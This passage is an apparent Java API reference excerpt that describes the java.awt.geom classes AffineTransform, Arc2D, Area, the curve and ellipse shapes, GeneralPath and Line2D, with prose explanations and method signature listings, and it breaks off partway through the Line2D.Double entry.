The transformations specified by AffineTransform objects are quite general. But they are all linear: straight lines remain straight, and parallel lines remain parallel under any AffineTransform. Although it is possible to imagine more general, nonlinear, transformations, Java 2D works only with affine transformations. AffineTransform is not an implementation of some more general Transform interface.

Mathematically, an affine transformation is represented by a 2-by-3 matrix of six numbers. The AffineTransform class has constructors and methods that allow you to work with this matrix directly, but unless you remember your linear algebra, you typically use the higher-level methods of this class.

You can use a constructor to create an AffineTransform, but it is usually easier to use one of the static methods to create an AffineTransform suitable for rotation about the origin, rotation about an arbitrary point, scaling, shearing, or translation. Or, if you have an existing AffineTransform object that you want to reuse, you can use one of the setTo() methods to specify a rotation, scale, shear, or translation to replace the existing transform. Note that a flip transform is simply scaling by -1.0 in the X or Y dimension.

Often, however, you have an AffineTransform that you want to transform further. The rotate(), scale(), shear(), and translate() methods do this. Or, more generally, you can use concatenate() or preConcatenate() to transform one AffineTransform by another.

Once an AffineTransform object is set to the desired transformation, the transform() method can be used to transform points, or arrays of points, in the desired way. deltaTransform() transforms a point or array of points, leaving out any translation component of the transform. This is useful for transforming dimensions and position-independent vectors, rather than transforming absolute coordinates. inverseTransform() performs the inverse of the transformation specified by an AffineTransform. Finally, createTransformedShape() returns a java.awt.Shape that represents a transformed version of the specified Shape.

isIdentity() returns true if an AffineTransform is an identity transform--that is, if it performs no transform at all. getType() returns a value that provides basic information about the transform. The value returned is TYPE_IDENTITY, TYPE_GENERAL_TRANSFORM, or a bitmask of the remaining type constants.

public class AffineTransform implements Cloneable, Serializable {
// | Public Constructors
 | public AffineTransform (); |
 | public AffineTransform (double[ ] flatmatrix); |
 | public AffineTransform (float[ ] flatmatrix); |
 | public AffineTransform (AffineTransform Tx); |
 | public AffineTransform (double m00, double m10, double m01, double m11, double m02, double m12); |
 | public AffineTransform (float m00, float m10, float m01, float m11, float m02, float m12); |
// | Public Constants
 | public static final int TYPE_FLIP ; | =64
 | public static final int TYPE_GENERAL_ROTATION ; | =16
 | public static final int TYPE_GENERAL_SCALE ; | =4
 | public static final int TYPE_GENERAL_TRANSFORM ; | =32
 | public static final int TYPE_IDENTITY ; | =0
 | public static final int TYPE_MASK_ROTATION ; | =24
 | public static final int TYPE_MASK_SCALE ; | =6
 | public static final int TYPE_QUADRANT_ROTATION ; | =8
 | public static final int TYPE_TRANSLATION ; | =1
 | public static final int TYPE_UNIFORM_SCALE ; | =2
// | Public Class Methods
 | public static AffineTransform getRotateInstance (double theta); |
 | public static AffineTransform getRotateInstance (double theta, double x, double y); |
 | public static AffineTransform getScaleInstance (double sx, double sy); |
 | public static AffineTransform getShearInstance (double shx, double shy); |
 | public static AffineTransform getTranslateInstance (double tx, double ty); |
// | Property Accessor Methods (by property name)
 | public double getDeterminant (); | default:1.0
 | public boolean isIdentity (); | default:true
 | public double getScaleX (); | default:1.0
 | public double getScaleY (); | default:1.0
 | public double getShearX (); | default:0.0
 | public double getShearY (); | default:0.0
 | public double getTranslateX (); | default:0.0
 | public double getTranslateY (); | default:0.0
 | public int getType (); | default:0
// | Public Instance Methods
 | public void concatenate (AffineTransform Tx); |
 | public AffineTransform createInverse () throws NoninvertibleTransformException; |
 | public Shape createTransformedShape (Shape pSrc); |
 | public Point2D deltaTransform (Point2D ptSrc, Point2D ptDst); |
 | public void deltaTransform (double[ ] srcPts, int srcOff, double[ ] dstPts, int dstOff, int numPts); |
 | public void getMatrix (double[ ] flatmatrix); |
 | public Point2D inverseTransform (Point2D ptSrc, Point2D ptDst) throws NoninvertibleTransformException; |
 | public void inverseTransform (double[ ] srcPts, int srcOff, double[ ] dstPts, int dstOff, int numPts) throws NoninvertibleTransformException; |
 | public void preConcatenate (AffineTransform Tx); |
 | public void rotate (double theta); |
 | public void rotate (double theta, double x, double y); |
 | public void scale (double sx, double sy); |
 | public void setToIdentity (); |
 | public void setToRotation (double theta); |
 | public void setToRotation (double theta, double x, double y); |
 | public void setToScale (double sx, double sy); |
 | public void setToShear (double shx, double shy); |
 | public void setToTranslation (double tx, double ty); |
 | public void setTransform (AffineTransform Tx); |
 | public void setTransform (double m00, double m10, double m01, double m11, double m02, double m12); |
 | public void shear (double shx, double shy); |
 | public Point2D transform (Point2D ptSrc, Point2D ptDst); |
 | public void transform (float[ ] srcPts, int srcOff, float[ ] dstPts, int dstOff, int numPts); |
 | public void transform (Point2D[ ] ptSrc, int srcOff, Point2D[ ] ptDst, int dstOff, int numPts); |
 | public void transform (float[ ] srcPts, int srcOff, double[ ] dstPts, int dstOff, int numPts); |
 | public void transform (double[ ] srcPts, int srcOff, double[ ] dstPts, int dstOff, int numPts); |
 | public void transform (double[ ] srcPts, int srcOff, float[ ] dstPts, int dstOff, int numPts); |
 | public void translate (double tx, double ty); |
// | Public Methods Overriding Object
 | public Object clone (); |
 | public boolean equals (Object obj); |
 | public int hashCode (); |
 | public String toString (); |
}

Hierarchy: Object-->AffineTransform(Cloneable,Serializable)

Passed To: Too many methods to list.

Returned By: Font.getTransform(), Graphics2D.getTransform(), GraphicsConfiguration.{getDefaultTransform(), getNormalizingTransform()}, java.awt.font.FontRenderContext.getTransform(), java.awt.font.GlyphVector.getGlyphTransform(), java.awt.font.TransformAttribute.getTransform(), AffineTransform.{createInverse(), getRotateInstance(), getScaleInstance(), getShearInstance(), getTranslateInstance()}, java.awt.image.AffineTransformOp.getTransform(), java.awt.image.renderable.RenderContext.getTransform()

Arc2D | Java 1.2
java.awt.geom | cloneable shape

This abstract class is a java.awt.Shape that represents an arc. The arc is defined as a portion of an ellipse, where the ellipse is defined by a rectangle. The start and end points of the arc on that ellipse are defined by a start angle and an extent angle, measured in degrees counterclockwise from the positive X axis. Unless the ellipse is actually a perfect circle, the specified angles are not true angles: a line drawn from the center of the ellipse to the upper-right corner of the bounding rectangle is always considered to form a 45-degree angle with the X axis, regardless of the true angle it forms.

In addition to the coordinates of the rectangle and the angles that specify the start and end points of the arc, the shape of an Arc2D is also specified by its arcType property. If the type of the arc is specified as CHORD, the two end points are joined by a straight line. If the type is specified as PIE, each of the two end points is joined to the center of the ellipse, forming a wedge, or slice of pie. If the type is specified as OPEN, the end points are not joined and the resulting shape is an open curve that does not enclose a region.

Arc2D is an abstract class and cannot be instantiated. Arc2D.Float and Arc2D.Double are concrete subclasses that use float and double fields to store arc coordinates and angles.

public abstract class Arc2D extends RectangularShape {
// | Protected Constructors
 | protected Arc2D (int type); |
// | Public Constants
 | public static final int CHORD ; | =1
 | public static final int OPEN ; | =0
 | public static final int PIE ; | =2
// | Inner Classes
 | ; |
 | ; |
// | Property Accessor Methods (by property name)
 | public abstract double getAngleExtent (); |
 | public abstract void setAngleExtent (double angExt); |
 | public abstract double getAngleStart (); |
 | public void setAngleStart (Point2D p); |
 | public abstract void setAngleStart (double angSt); |
 | public int getArcType (); |
 | public void setArcType (int type); |
 | public Rectangle2D getBounds2D (); | Overrides:RectangularShape
 | public Point2D getEndPoint (); |
 | public Point2D getStartPoint (); |
// | Public Instance Methods
 | public boolean containsAngle (double angle); |
 | public void setAngles (Point2D p1, Point2D p2); |
 | public void setAngles (double x1, double y1, double x2, double y2); |
 | public void setArc (Arc2D a); |
 | public void setArc (Rectangle2D rect, double angSt, double angExt, int closure); |
 | public void setArc (Point2D loc, Dimension2D size, double angSt, double angExt, int closure); |
 | public abstract void setArc (double x, double y, double w, double h, double angSt, double angExt, int closure); |
 | public void setArcByCenter (double x, double y, double radius, double angSt, double angExt, int closure); |
 | public void setArcByTangent (Point2D p1, Point2D p2, Point2D p3, double radius); |
// | Public Methods Overriding RectangularShape
 | public boolean contains (Rectangle2D r); |
 | public boolean contains (double x, double y); |
 | public boolean contains (double x, double y, double w, double h); |
 | public PathIterator getPathIterator (AffineTransform at); |
 | public boolean intersects (double x, double y, double w, double h); |
 | public void setFrame (double x, double y, double w, double h); |
// | Protected Instance Methods
 | protected abstract Rectangle2D makeBounds (double x, double y, double w, double h); |
}

Hierarchy: Object-->RectangularShape(Cloneable,Shape)-->Arc2D

Subclasses: Arc2D.Double, Arc2D.Float

Passed To: Arc2D.setArc()

Arc2D.Double | Java 1.2
java.awt.geom | cloneable shape

This class is a concrete implementation of Arc2D that uses double fields to store the coordinates and angles of the arc. For efficiency, these x, y, width, height, start, and extent fields are declared public and may be used directly by Java programs. See Arc2D for more information.

public static class Arc2D.Double extends Arc2D {
// | Public Constructors
 | public Double (); |
 | public Double (int type); |
 | public Double (Rectangle2D ellipseBounds, double start, double extent, int type); |
 | public Double (double x, double y, double w, double h, double start, double extent, int type); |
// | Public Methods Overriding Arc2D
 | public double getAngleExtent (); | default:0.0
 | public double getAngleStart (); | default:0.0
 | public void setAngleExtent (double angExt); |
 | public void setAngleStart (double angSt); |
 | public void setArc (double x, double y, double w, double h, double angSt, double angExt, int closure); |
// | Protected Methods Overriding Arc2D
 | protected Rectangle2D makeBounds (double x, double y, double w, double h); |
// | Public Methods Overriding RectangularShape
 | public double getHeight (); | default:0.0
 | public double getWidth (); | default:0.0
 | public double getX (); | default:0.0
 | public double getY (); | default:0.0
 | public boolean isEmpty (); | default:true
// | Public Instance Fields
 | public double extent ; |
 | public double height ; |
 | public double start ; |
 | public double width ; |
 | public double x ; |
 | public double y ; |
}
Arc2D.Float | Java 1.2
java.awt.geom | cloneable shape

This class is a concrete implementation of Arc2D that uses float fields to store the coordinates and angles of the arc. For efficiency, these x, y, width, height, start, and extent fields are declared public and may be used directly by Java programs. See Arc2D for more information.

public static class Arc2D.Float extends Arc2D {
// | Public Constructors
 | public Float (); |
 | public Float (int type); |
 | public Float (Rectangle2D ellipseBounds, float start, float extent, int type); |
 | public Float (float x, float y, float w, float h, float start, float extent, int type); |
// | Public Methods Overriding Arc2D
 | public double getAngleExtent (); | default:0.0
 | public double getAngleStart (); | default:0.0
 | public void setAngleExtent (double angExt); |
 | public void setAngleStart (double angSt); |
 | public void setArc (double x, double y, double w, double h, double angSt, double angExt, int closure); |
// | Protected Methods Overriding Arc2D
 | protected Rectangle2D makeBounds (double x, double y, double w, double h); |
// | Public Methods Overriding RectangularShape
 | public double getHeight (); | default:0.0
 | public double getWidth (); | default:0.0
 | public double getX (); | default:0.0
 | public double getY (); | default:0.0
 | public boolean isEmpty (); | default:true
// | Public Instance Fields
 | public float extent ; |
 | public float height ; |
 | public float start ; |
 | public float width ; |
 | public float x ; |
 | public float y ; |
}
Area | Java 1.2
java.awt.geom | cloneable shape

Area is an implementation of java.awt.Shape that represents an arbitrary enclosed area. The Area() constructor is passed an arbitrary Shape that defines the initial area. If this Shape object represents an open curve that does not enclose an area, the curve is automatically closed with a straight line between the end points. Once an Area object has been created, it can be combined with another Area object with the add(), subtract(), intersect(), and exclusiveOr() methods. For example, you can construct an Area object that represents a hexagon minus the intersection of two circles.

public class Area implements Cloneable, Shape {
// | Public Constructors
 | public Area (); |
 | public Area (Shape s); |
// | Property Accessor Methods (by property name)
 | public Rectangle getBounds (); | Implements:Shape
 | public Rectangle2D getBounds2D (); | Implements:Shape default:Rectangle2D.Double
 | public boolean isEmpty (); | default:true
 | public boolean isPolygonal (); | default:true
 | public boolean isRectangular (); | default:true
 | public boolean isSingular (); | default:true
// | Public Instance Methods
 | public void add (Area rhs); |
 | public Area createTransformedArea (AffineTransform t); |
 | public boolean equals (Area other); |
 | public void exclusiveOr (Area rhs); |
 | public void intersect (Area rhs); |
 | public void reset (); |
 | public void subtract (Area rhs); |
 | public void transform (AffineTransform t); |
// | Methods Implementing Shape
 | public boolean contains (Point2D p); |
 | public boolean contains (Rectangle2D p); |
 | public boolean contains (double x, double y); |
 | public boolean contains (double x, double y, double w, double h); |
 | public Rectangle getBounds (); |
 | public Rectangle2D getBounds2D (); | default:Rectangle2D.Double
 | public PathIterator getPathIterator (AffineTransform at); |
 | public PathIterator getPathIterator (AffineTransform at, double flatness); |
 | public boolean intersects (Rectangle2D p); |
 | public boolean intersects (double x, double y, double w, double h); |
// | Public Methods Overriding Object
 | public Object clone (); |
}

Hierarchy: Object-->Area(Cloneable,Shape)

Passed To: Area.{add(), equals(), exclusiveOr(), intersect(), subtract()}

Returned By: Area.createTransformedArea()

CubicCurve2D | Java 1.2
java.awt.geom | cloneable shape

This abstract class is a java.awt.Shape that represents a smooth cubic Bezier curve (or spline) between end points p1 (x1, y1) and p2 (x2, y2). The precise shape of the curve is defined by two control points, cp1 (ctrlx1, ctrly1) and cp2 (ctrlx2, ctrly2). Note that the curve does not pass through cp1 and cp2 but that it does remain inside the quadrilateral defined by p1, cp1, cp2, and p2.

CubicCurve2D does not itself enclose an area, so the contains() methods test whether a point or rectangle is within the area defined by the curve and the straight line between its end points.

CubicCurve2D is an abstract class and cannot be instantiated. CubicCurve2D.Float and CubicCurve2D.Double are concrete subclasses that use float and double fields to store the end points and control points. See also QuadCurve2D, which is a quadratic Bezier curve that uses only a single control point.

public abstract class CubicCurve2D implements Cloneable, Shape {
// | Protected Constructors
 | protected CubicCurve2D (); |
// | Inner Classes
 | ; |
 | ; |
// | Public Class Methods
 | public static double getFlatness (double[ ] coords, int offset); |
 | public static double getFlatness (double x1, double y1, double ctrlx1, double ctrly1, double ctrlx2, double ctrly2, double x2, double y2); |
 | public static double getFlatnessSq (double[ ] coords, int offset); |
 | public static double getFlatnessSq (double x1, double y1, double ctrlx1, double ctrly1, double ctrlx2, double ctrly2, double x2, double y2); |
 | public static int solveCubic (double[ ] eqn); |
 | public static void subdivide (CubicCurve2D src, CubicCurve2D left, CubicCurve2D right); |
 | public static void subdivide (double[ ] src, int srcoff, double[ ] left, int leftoff, double[ ] right, int rightoff); |
// | Property Accessor Methods (by property name)
 | public Rectangle getBounds (); | Implements:Shape
 | public abstract Rectangle2D getBounds2D (); | Implements:Shape
 | public abstract Point2D getCtrlP1 (); |
 | public abstract Point2D getCtrlP2 (); |
 | public abstract double getCtrlX1 (); |
 | public abstract double getCtrlX2 (); |
 | public abstract double getCtrlY1 (); |
 | public abstract double getCtrlY2 (); |
 | public double getFlatness (); |
 | public double getFlatnessSq (); |
 | public abstract Point2D getP1 (); |
 | public abstract Point2D getP2 (); |
 | public abstract double getX1 (); |
 | public abstract double getX2 (); |
 | public abstract double getY1 (); |
 | public abstract double getY2 (); |
// | Public Instance Methods
 | public void setCurve (CubicCurve2D c); |
 | public void setCurve (double[ ] coords, int offset); |
 | public void setCurve (Point2D[ ] pts, int offset); |
 | public void setCurve (Point2D p1, Point2D cp1, Point2D cp2, Point2D p2); |
 | public abstract void setCurve (double x1, double y1, double ctrlx1, double ctrly1, double ctrlx2, double ctrly2, double x2, double y2); |
 | public void subdivide (CubicCurve2D left, CubicCurve2D right); |
// | Methods Implementing Shape
 | public boolean contains (Point2D p); |
 | public boolean contains (Rectangle2D r); |
 | public boolean contains (double x, double y); |
 | public boolean contains (double x, double y, double w, double h); |
 | public Rectangle getBounds (); |
 | public abstract Rectangle2D getBounds2D (); |
 | public PathIterator getPathIterator (AffineTransform at); |
 | public PathIterator getPathIterator (AffineTransform at, double flatness); |
 | public boolean intersects (Rectangle2D r); |
 | public boolean intersects (double x, double y, double w, double h); |
// | Public Methods Overriding Object
 | public Object clone (); |
}

Hierarchy: Object-->CubicCurve2D(Cloneable,Shape)

Subclasses: CubicCurve2D.Double, CubicCurve2D.Float

Passed To: CubicCurve2D.{setCurve(), subdivide()}

CubicCurve2D.Double | Java 1.2
java.awt.geom | cloneable shape

This class is a concrete implementation of CubicCurve2D that uses double fields to store the end points and control points of the curve. The X and Y coordinates of these four points are stored in public fields and may be used directly by Java programs. See CubicCurve2D for more information.

public static class CubicCurve2D.Double extends CubicCurve2D {
// | Public Constructors
 | public Double (); |
 | public Double (double x1, double y1, double ctrlx1, double ctrly1, double ctrlx2, double ctrly2, double x2, double y2); |
// | Public Methods Overriding CubicCurve2D
 | public Rectangle2D getBounds2D (); | default:Rectangle2D.Double
 | public Point2D getCtrlP1 (); | default:Point2D.Double
 | public Point2D getCtrlP2 (); | default:Point2D.Double
 | public double getCtrlX1 (); | default:0.0
 | public double getCtrlX2 (); | default:0.0
 | public double getCtrlY1 (); | default:0.0
 | public double getCtrlY2 (); | default:0.0
 | public Point2D getP1 (); | default:Point2D.Double
 | public Point2D getP2 (); | default:Point2D.Double
 | public double getX1 (); | default:0.0
 | public double getX2 (); | default:0.0
 | public double getY1 (); | default:0.0
 | public double getY2 (); | default:0.0
 | public void setCurve (double x1, double y1, double ctrlx1, double ctrly1, double ctrlx2, double ctrly2, double x2, double y2); |
// | Public Instance Fields
 | public double ctrlx1 ; |
 | public double ctrlx2 ; |
 | public double ctrly1 ; |
 | public double ctrly2 ; |
 | public double x1 ; |
 | public double x2 ; |
 | public double y1 ; |
 | public double y2 ; |
}
CubicCurve2D.Float | Java 1.2
java.awt.geom | cloneable shape

This class is a concrete implementation of CubicCurve2D that uses float fields to store the end points and control points of the curve. The X and Y coordinates of these four points are stored in public fields and may be used directly by Java programs. See CubicCurve2D for more information.

public static class CubicCurve2D.Float extends CubicCurve2D {
// | Public Constructors
 | public Float (); |
 | public Float (float x1, float y1, float ctrlx1, float ctrly1, float ctrlx2, float ctrly2, float x2, float y2); |
// | Public Instance Methods
 | public void setCurve (float x1, float y1, float ctrlx1, float ctrly1, float ctrlx2, float ctrly2, float x2, float y2); |
// | Public Methods Overriding CubicCurve2D
 | public Rectangle2D getBounds2D (); | default:Rectangle2D.Float
 | public Point2D getCtrlP1 (); | default:Point2D.Float
 | public Point2D getCtrlP2 (); | default:Point2D.Float
 | public double getCtrlX1 (); | default:0.0
 | public double getCtrlX2 (); | default:0.0
 | public double getCtrlY1 (); | default:0.0
 | public double getCtrlY2 (); | default:0.0
 | public Point2D getP1 (); | default:Point2D.Float
 | public Point2D getP2 (); | default:Point2D.Float
 | public double getX1 (); | default:0.0
 | public double getX2 (); | default:0.0
 | public double getY1 (); | default:0.0
 | public double getY2 (); | default:0.0
 | public void setCurve (double x1, double y1, double ctrlx1, double ctrly1, double ctrlx2, double ctrly2, double x2, double y2); |
// | Public Instance Fields
 | public float ctrlx1 ; |
 | public float ctrlx2 ; |
 | public float ctrly1 ; |
 | public float ctrly2 ; |
 | public float x1 ; |
 | public float x2 ; |
 | public float y1 ; |
 | public float y2 ; |
}
Dimension2D | Java 1.2
java.awt.geom | cloneable

This class represents a two-dimensional size in terms of its width and height. The accessor methods defined by this class query and set the width and height using values of type double. Note, however, that this class is abstract and does not actually store a size itself. java.awt.Dimension is a concrete subclass that stores a width and height as integers.

public abstract class Dimension2D implements Cloneable {
// | Protected Constructors
 | protected Dimension2D ();
// | Property Accessor Methods (by property name)
 | public abstract double getHeight ();
 | public abstract double getWidth ();
// | Public Instance Methods
 | public void setSize (Dimension2D d);
 | public abstract void setSize (double width, double height);
// | Public Methods Overriding Object
 | public Object clone ();
}

Hierarchy: Object-->Dimension2D(Cloneable)

Subclasses: Dimension

Passed To: Arc2D.setArc(), Dimension2D.setSize(), RectangularShape.setFrame()

Ellipse2D | Java 1.2
java.awt.geom | cloneable shape

This abstract class is a java.awt.Shape that represents an ellipse (or a circle). Ellipse2D is a subclass of RectangularShape, and for this reason, the ellipse is defined by its bounding rectangle. The width and height of the bounding rectangle specify the length of the two axes of the ellipse. (If the width and height are equal, the ellipse is a circle.) The X and Y coordinates of the ellipse specify the upper-left corner of the bounding rectangle; note that this point actually falls outside of the ellipse. The setFrameFromCenter() method, inherited from RectangularShape, allows you to define the ellipse by specifying the center and one corner. Note that Ellipse2D can only represent ellipses whose axes are parallel to the X and Y axes of the coordinate system. In order to work with rotated ellipses, use the createTransformedShape() method of AffineTransform or some other transformation method.

Ellipse2D is an abstract class and cannot be instantiated. The concrete subclasses Ellipse2D.Double and Ellipse2D.Float represent ellipses using double and float fields to contain the rectangular coordinates.

public abstract class Ellipse2D extends RectangularShape {
// | Protected Constructors
 | protected Ellipse2D ();
// | Inner Classes
 | ;
 | ;
// | Public Methods Overriding RectangularShape
 | public boolean contains (double x, double y);
 | public boolean contains (double x, double y, double w, double h);
 | public PathIterator getPathIterator (AffineTransform at);
 | public boolean intersects (double x, double y, double w, double h);
}

Hierarchy: Object-->RectangularShape(Cloneable,Shape)-->Ellipse2D

Subclasses: Ellipse2D.Double, Ellipse2D.Float

Ellipse2D.Double | Java 1.2
java.awt.geom | cloneable shape

This class is a concrete implementation of Ellipse2D that uses double fields to store the coordinates of the bounding rectangle of the ellipse. These x, y, width, height fields are declared public and may be used directly by Java programs. See Ellipse2D for more information.

public static class Ellipse2D.Double extends Ellipse2D {
// | Public Constructors
 | public Double (); |
 | public Double (double x, double y, double w, double h); |
// | Public Methods Overriding RectangularShape
 | public Rectangle2D getBounds2D (); | default:Rectangle2D.Double
 | public double getHeight (); | default:0.0
 | public double getWidth (); | default:0.0
 | public double getX (); | default:0.0
 | public double getY (); | default:0.0
 | public boolean isEmpty (); | default:true
 | public void setFrame (double x, double y, double w, double h); |
// | Public Instance Fields
 | public double height ; |
 | public double width ; |
 | public double x ; |
 | public double y ; |
}
Ellipse2D.Float | Java 1.2
java.awt.geom | cloneable shape

This class is a concrete implementation of Ellipse2D that uses float fields to store the coordinates of the bounding rectangle of the ellipse. Note that these x, y, width, height fields are declared public and may be used directly by Java programs. See Ellipse2D for more information.

public static class Ellipse2D.Float extends Ellipse2D {
// | Public Constructors
 | public Float (); |
 | public Float (float x, float y, float w, float h); |
// | Public Instance Methods
 | public void setFrame (float x, float y, float w, float h); |
// | Public Methods Overriding RectangularShape
 | public Rectangle2D getBounds2D (); | default:Rectangle2D.Float
 | public double getHeight (); | default:0.0
 | public double getWidth (); | default:0.0
 | public double getX (); | default:0.0
 | public double getY (); | default:0.0
 | public boolean isEmpty (); | default:true
 | public void setFrame (double x, double y, double w, double h); |
// | Public Instance Fields
 | public float height ; |
 | public float width ; |
 | public float x ; |
 | public float y ; |
}
FlatteningPathIterator Java 1.2
java.awt.geom

This class is a PathIterator that flattens the curves returned by another PathIterator, approximating them with straight-line segments that are easier to work with. The currentSegment() methods of FlatteningPathIterator are guaranteed never to return SEG_QUADTO or SEG_CUBICTO curve segments.

The flatness of a cubic or quadratic curve is the distance from the curve to its control points. Smaller distances imply flatter curves (i.e., curves that are closer to a straight line). The flatness argument to the FlatteningPathIterator() constructor specifies how flat a curve must be before it is approximated with a flat line. Smaller values of flatness result in increasingly accurate approximations of the curves.

When a FlatteningPathIterator encounters a curve that is not flat enough to approximate with a straight line, it subdivides the curve into two curves, each of which is flatter than the original curve. This process of subdivision continues recursively until the subdivided curves are flat enough to be approximated with line segments, up to the num ber of times specified by the limit argument. If limit is not specified, a default of 10 is used, which means that no curve is broken down into more than 1,024 separate line segments.

You should rarely need to use a FlatteningPathIterator explicitly in Java 2D programming. The two-argument version of the getPathIterator() method of Shape takes a flatness argument and returns a flattened path that does not contain any curves. Implementations of this method typically use FlatteningPathIterator internally.

public class FlatteningPathIterator implements PathIterator {
// | Public Constructors
 | public FlatteningPathIterator (PathIterator src, double flatness);
 | public FlatteningPathIterator (PathIterator src, double flatness, int limit);
// | Public Instance Methods
 | public double getFlatness ();
 | public int getRecursionLimit ();
// | Methods Implementing PathIterator
 | public int currentSegment (double[ ] coords);
 | public int currentSegment (float[ ] coords);
 | public int getWindingRule ();
 | public boolean isDone ();
 | public void next ();
}

Hierarchy: Object-->FlatteningPathIterator(PathIterator)

GeneralPath | Java 1.2
java.awt.geom | cloneable shape

This class represents an arbitrary path or shape that consists of any number of line segments and quadratic and cubic Bezier curves. After creating a GeneralPath object, you must define a current point by calling moveTo(). Once an initial current point is established, you can create the path by calling lineTo(), quadTo(), and curveTo(). These methods draw line segments, quadratic curves, and cubic curves from the current point to a new point (which becomes the new current point).

The shape defined by a GeneralPath need not be closed, although you may close it by calling the closePath() method, which appends a line segment between the current point and the initial point. Similarly, the path need not be continuous: you can call moveTo() at any time to change the current point without adding a connecting line or curve to the path. The append() method allows you to add a Shape or PathIterator to a GeneralPath, optionally connecting it to the current point with a straight line.

The GeneralPath() constructor allows you to specify an estimate of the number of path segments that will be added. Specifying an accurate estimate can increase efficiency. It also allows you to specify the winding rule to use for the path. A winding rule is used to determine what points are contained within a GeneralPath. The choice of winding rules matters only for those paths that intersect themselves. The two choices are WIND_EVEN_ODD and WIND_NON_ZERO.

Note the close correspondence between the path elements (lines, quadratic curves, and cubic curves) that may be appended to a GeneralPath and those that are enumerated by a PathIterator object.

public final class GeneralPath implements Cloneable, Shape {
// | Public Constructors
 | public GeneralPath (); |
 | public GeneralPath (int rule); |
 | public GeneralPath (Shape s); |
 | public GeneralPath (int rule, int initialCapacity); |
// | Public Constants
 | public static final int WIND_EVEN_ODD ; | =0
 | public static final int WIND_NON_ZERO ; | =1
// | Property Accessor Methods (by property name)
 | public Rectangle getBounds (); | Implements:Shape
 | public Rectangle2D getBounds2D (); | Implements:Shape synchronized default:Rectangle2D.Float
 | public Point2D getCurrentPoint (); | synchronized default:null
 | public int getWindingRule (); | synchronized default:1
 | public void setWindingRule (int rule); |
// | Public Instance Methods
 | public void append (Shape s, boolean connect); |
 | public void append (PathIterator pi, boolean connect); |
 | public void closePath (); | synchronized
 | public Shape createTransformedShape (AffineTransform at); | synchronized
 | public void curveTo (float x1, float y1, float x2, float y2, float x3, float y3); | synchronized
 | public void lineTo (float x, float y); | synchronized
 | public void moveTo (float x, float y); | synchronized
 | public void quadTo (float x1, float y1, float x2, float y2); | synchronized
 | public void reset (); | synchronized
 | public void transform (AffineTransform at); |
// | Methods Implementing Shape
 | public boolean contains (Rectangle2D r); |
 | public boolean contains (Point2D p); |
 | public boolean contains (double x, double y); |
 | public boolean contains (double x, double y, double w, double h); |
 | public Rectangle getBounds (); |
 | public Rectangle2D getBounds2D (); | synchronized default:Rectangle2D.Float
 | public PathIterator getPathIterator (AffineTransform at); |
 | public PathIterator getPathIterator (AffineTransform at, double flatness); |
 | public boolean intersects (Rectangle2D r); |
 | public boolean intersects (double x, double y, double w, double h); |
// | Public Methods Overriding Object
 | public Object clone (); |
}

Hierarchy: Object-->GeneralPath(Cloneable,Shape)

IllegalPathStateException | Java 1.2
java.awt.geom | serializable unchecked

Signals that a path is not in an appropriate state for some requested operation. This exception is thrown if you attempt to append a path segment to a GeneralPath before performing an initial moveTo().

public class IllegalPathStateException extends RuntimeException {
// | Public Constructors
 | public IllegalPathStateException ();
 | public IllegalPathStateException (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->IllegalPathStateException

Line2D | Java 1.2
java.awt.geom | cloneable shape

This abstract class is a java.awt.Shape that represents a line segment between two end points. Line2D defines various methods for computing the distance between a point and a line or line segment and for computing the position of a point relative to a line. Note, however, that the setLine() method for specifying the end points of the line segment is abstract. The concrete subclasses Line2D.Double and Line2D.Float use double and float fields to store the coordinates of the end points. They define the setLine() method and constructors that accept the line segment end points as arguments. Since a line does not contain an area, the contains() methods of Line2D and of its subclasses always return false.

public abstract class Line2D implements Cloneable, Shape {
// | Protected Constructors
 | protected Line2D (); |
// | Inner Classes
 | ; |
 | ; |
// | Public Class Methods
 | public static boolean linesIntersect (double X1, double Y1, double X2, double Y2, double X3, double Y3, double X4, double Y4); |
 | public static double ptLineDist (double X1, double Y1, double X2, double Y2, double PX, double PY); |
 | public static double ptLineDistSq (double X1, double Y1, double X2, double Y2, double PX, double PY); |
 | public static double ptSegDist (double X1, double Y1, double X2, double Y2, double PX, double PY); |
 | public static double ptSegDistSq (double X1, double Y1, double X2, double Y2, double PX, double PY); |
 | public static int relativeCCW (double X1, double Y1, double X2, double Y2, double PX, double PY); |
// | Property Accessor Methods (by property name)
 | public Rectangle getBounds (); | Implements:Shape
 | public abstract Rectangle2D getBounds2D (); | Implements:Shape
 | public abstract Point2D getP1 (); |
 | public abstract Point2D getP2 (); |
 | public abstract double getX1 (); |
 | public abstract double getX2 (); |
 | public abstract double getY1 (); |
 | public abstract double getY2 (); |
// | Public Instance Methods
 | public boolean intersectsLine (Line2D l); |
 | public boolean intersectsLine (double X1, double Y1, double X2, double Y2); |
 | public double ptLineDist (Point2D pt); |
 | public double ptLineDist (double PX, double PY); |
 | public double ptLineDistSq (Point2D pt); |
 | public double ptLineDistSq (double PX, double PY); |
 | public double ptSegDist (Point2D pt); |
 | public double ptSegDist (double PX, double PY); |
 | public double ptSegDistSq (Point2D pt); |
 | public double ptSegDistSq (double PX, double PY); |
 | public int relativeCCW (Point2D p); |
 | public int relativeCCW (double PX, double PY); |
 | public void setLine (Line2D l); |
 | public void setLine (Point2D p1, Point2D p2); |
 | public abstract void setLine (double X1, double Y1, double X2, double Y2); |
// | Methods Implementing Shape
 | public boolean contains (Point2D p); | constant
 | public boolean contains (Rectangle2D r); | constant
 | public boolean contains (double x, double y); | constant
 | public boolean contains (double x, double y, double w, double h); | constant
 | public Rectangle getBounds (); |
 | public abstract Rectangle2D getBounds2D (); |
 | public PathIterator getPathIterator (AffineTransform at); |
 | public PathIterator getPathIterator (AffineTransform at, double flatness); |
 | public boolean intersects (Rectangle2D r); |
 | public boolean intersects (double x, double y, double w, double h); |
// | Public Methods Overriding Object
 | public Object clone (); |
}

Hierarchy: Object-->Line2D(Cloneable,Shape)

Subclasses: Line2D.Double, Line2D.Float

Passed To: Line2D.{intersectsLine(), setLine()}, Rectangle2D.intersectsLine()

Line2D.Double | Java 1.2
java.awt.geom | cloneable shape

This class is a concrete implementation of Line2D that uses double fields to store the end points of the line segment. These end points are stored in public fields and may be directly set and queried by programs. See Line2D for more information.

public static class Line2D.Double extends Line2D {
// | Public Constructors
 | public Double (); |
 | public Double (Point2D p1, Point2D p2); |
 | public Double (double X1, double Y1, double X2, double Y2); |
// | Public Methods Overriding Line2D
 | public Rectangle2D getBounds2D (); | default:Rectangle2D.Double
 | public Point2D getP1 (); | default:Point2D.Double
 | public Point2D getP2 (); | default:Point2D.Double
